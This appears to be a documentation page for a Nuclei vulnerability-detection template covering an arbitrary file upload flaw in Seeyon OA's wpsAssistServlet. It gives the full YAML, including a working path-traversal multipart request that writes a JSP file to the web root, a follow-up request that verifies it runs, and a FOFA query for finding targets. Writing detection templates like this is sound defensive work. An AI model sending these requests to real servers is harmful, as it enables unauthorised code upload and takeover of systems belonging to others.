Seeyon OA wpsAssistServlet - Arbitrary File Upload
ID: seeyon-oa-sp2-file-upload
Severity: critical
Author: SleepingBag945
Tags: seeyon,oa,file-upload,intrusive
Description
Section titled “Description”There is an arbitrary file upload vulnerability in the Seeyon OA wpsAssistServlet interface. Through the vulnerability, an attacker can send a specific request packet to upload malicious files and obtain server permissions.
YAML Source
Section titled “YAML Source”id: seeyon-oa-sp2-file-upload
info: name: Seeyon OA wpsAssistServlet - Arbitrary File Upload author: SleepingBag945 severity: critical description: | There is an arbitrary file upload vulnerability in the Seeyon OA wpsAssistServlet interface. Through the vulnerability, an attacker can send a specific request packet to upload malicious files and obtain server permissions. reference: - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java - http://wiki.peiqi.tech/wiki/oa/致远OA/致远OA%20wpsAssistServlet%20任意文件上传漏洞.html - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E8%87%B4%E8%BF%9COA%20wpsAssistServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md metadata: verified: true max-request: 2 fofa-query: app="致远互联-OA" && title="V8.0SP2" tags: seeyon,oa,file-upload,intrusivevariables: filename: "{{rand_base(6)}}" string: "{{rand_base(5)}}"
http: - raw: - | POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{filename}}.jsp&fileId=2 HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b Accept-Encoding: gzip
--59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name="upload"; filename="{{filename}}.xls" Content-Type: application/vnd.ms-excel
<% out.println("{{string}}");%> --59229605f98b8cf290a7b8908b34616b-- - | GET /{{filename}}.jsp HTTP/1.1 Host: {{Hostname}}
matchers-condition: and matchers: - type: word part: body_1 words: - '"success":'
- type: word part: body_2 words: - '{{string}}'
- type: status status: - 200# digest: 4a0a0047304502203bbfe123e712f5d477f809f884d4ecd513d036a7f7cb7ed4cb70bb9809806d08022100ecb082885fdb4c56f20bab329597d4326269fa6473a9cdbdda6c5c87d0037a3b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/seeyon/seeyon-oa-sp2-file-upload.yaml"